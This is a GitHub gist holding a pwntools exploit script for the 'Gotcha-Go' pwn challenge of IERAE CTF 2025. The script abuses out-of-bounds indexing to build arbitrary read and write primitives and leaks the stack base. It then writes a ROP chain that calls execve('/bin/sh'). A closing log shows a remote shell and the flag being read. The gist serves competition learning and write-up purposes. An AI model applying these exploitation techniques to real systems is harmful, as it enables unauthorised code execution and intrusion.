Last active
June 23, 2025 16:09
-
-
Save hhc0null/efc6bc8e40916b811fd240c9cc44800a to your computer and use it in GitHub Desktop.
[IERAE CTF 2025] Pwn: Gotcha-Go (240pt)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import secrets | |
from typing import Callable | |
from pwn import * | |
context.binary = binary = ELF("distfiles/ctf") | |
L_LIST_BASE_ADDRESS = 0x56bfc0 | |
FIXED_GAP_TO_RETURN_ADDRESS = 0x190 | |
DRIVER_INDEX = 1 | |
DUMMY_INDEX = 2 | |
def op(choice: int, idx: int) -> None: | |
conn.sendlineafter(b"Option (1.Init, 2.Info, 3.Edit):", f"{choice}".encode()) | |
conn.sendlineafter(b"Idx):", f"{idx}".encode()) | |
def init(idx: int, s: bytes) -> None: | |
op(1, idx) | |
conn.send(s) | |
def info_(idx: int) -> bytes: | |
op(2, idx) | |
conn.recvline() | |
return conn.recvn(0x30) | |
def edit(idx: int, s: bytes) -> None: | |
op(3, idx) | |
conn.send(s) | |
def edit_data_at(address: int, data: bytes) -> None: | |
assert len(data) <= 0x30 | |
edit((address - L_LIST_BASE_ADDRESS) // 0x8, data) | |
def leak_data_from(address: int) -> bytes: | |
return info_((address - L_LIST_BASE_ADDRESS) // 0x8) | |
def gen_primitives(driver_address: int, driver_index: int = DRIVER_INDEX) -> tuple[Callable[[int], bytes], Callable[[int, bytes], None]]: | |
def read30(address: int) -> bytes: | |
edit(driver_index, p64(address - 0x8)) | |
return leak_data_from(driver_address + 0x8) | |
def write30(address: int, data: bytes) -> None: | |
assert len(data) <= 0x30 | |
edit(driver_index, p64(address - 0x8)) | |
edit_data_at(driver_address + 0x8, data) | |
return read30, write30 | |
def exploit() -> None: | |
# ROP gadgets | |
gadget_pop_rax_ret_address = 0x0000000000408744 # 0x0000000000408744: pop rax; ret; | |
gadget_pop_rdi_setne_al_ret_address = 0x0000000000473fc6 # 0x0000000000473fc6: pop rdi; setne al; ret; | |
gadget_syscall_address = 0x0000000000412e4a # 0x0000000000412e4a: syscall; | |
# 1. Create AAW primitive | |
init(DRIVER_INDEX, b"driver") | |
init(DUMMY_INDEX, b"dummy") | |
global driver_address | |
leaked_data = leak_data_from(binary.sym["main.l"] + 0x8) | |
driver_address, dummy_address = u64(leaked_data[:0x8]), u64(leaked_data[0x8:0x10]) | |
assert driver_address != 0, "Sanity check failed: driver address should not be zero" | |
info(f"driver @ {driver_address:#x}") | |
assert dummy_address != 0, "Sanity check failed: dummy address should not be zero" | |
info(f"dummy @ {dummy_address:#x}") | |
_, write30 = gen_primitives(driver_address) | |
## Sanity check for AAW primitive | |
random_bytes = secrets.token_bytes(0x10) | |
write30(dummy_address + 0x8, random_bytes) | |
assert info_(DUMMY_INDEX)[:0x10] == random_bytes, "Sanity check failed: AAW primitive not working as expected" | |
success(f"Sanity check for AAW primitive passed") | |
# 2. Leak the stack base address | |
leaked_data = leak_data_from(binary.sym["runtime.m0"] + 0xc0) # &'runtime.m0'.tls[0] | |
stack_base_address = u64(leaked_data[:8]) | |
info(f"stack base @ {stack_base_address:#x}") | |
# 3. Write a ROP gadget chain into the bottom of the `main.(*MyStr).edit`'s frame | |
edit(DUMMY_INDEX, b"/bin/sh\0") | |
write30(stack_base_address - FIXED_GAP_TO_RETURN_ADDRESS, flat( | |
# Set rdi = "/bin/sh" | |
gadget_pop_rdi_setne_al_ret_address, | |
dummy_address + 0x8, | |
# Set rax = SYS_execve | |
gadget_pop_rax_ret_address, | |
constants.SYS_execve, | |
# (rsi was already zeroed and rdx was also valid as envp) | |
# Perform execve("/bin/sh", NULL, &(char **){NULL}) | |
gadget_syscall_address, | |
)) | |
conn.recvline() | |
# 4. Switch to interactive mode | |
conn.interactive() | |
# Below boilerplate could be ignored. :) | |
def wait(prompt: str | None = None) -> None: | |
if prompt is None: | |
prompt = "Waiting for input..." | |
input(prompt) | |
if __name__ == "__main__": | |
if "REMOTE" in args: | |
context.log_file = "remote.log" | |
conn = remote(args.HOST, args.PORT) | |
elif "ATTACH" in args: | |
if os.getenv("TERM_PROGRAM") != "tmux": | |
error("This must run in tmux session when debugging") | |
context.terminal = ["tmux", "splitw", "-v"] | |
context.log_file = "local-debug.log" | |
context.log_level = "debug" | |
conn = process([binary.path], aslr=True) | |
gdb.attach(conn) | |
else: | |
context.log_file = "local.log" | |
conn = process([binary.path], aslr=True) | |
exploit() | |
""" | |
(pwndev) player@noble:/workspace/gotcha-go$ python3 exploit.py REMOTE HOST=35.200.115.59 PORT=33337 | |
[*] '/workspace/gotcha-go/distfiles/ctf' | |
Arch: amd64-64-little | |
RELRO: No RELRO | |
Stack: No canary found | |
NX: NX enabled | |
PIE: No PIE (0x400000) | |
Stripped: No | |
Debuginfo: Yes | |
[+] Opening connection to 35.200.115.59 on port 33337: Done | |
[*] driver @ 0xc0000a8040 | |
[*] dummy @ 0xc00006a000 | |
[+] Sanity check for AAW primitive passed | |
[*] stack base @ 0xc00008d000 | |
[*] Switching to interactive mode | |
$ id | |
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu) | |
$ ls | |
flag-9c9d2b08126cab387c6bdcadfb3105d8.txt | |
run | |
$ cat flag* | |
IERAE{Go_is_an_open_source_programming_language_15a730a8} | |
""" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment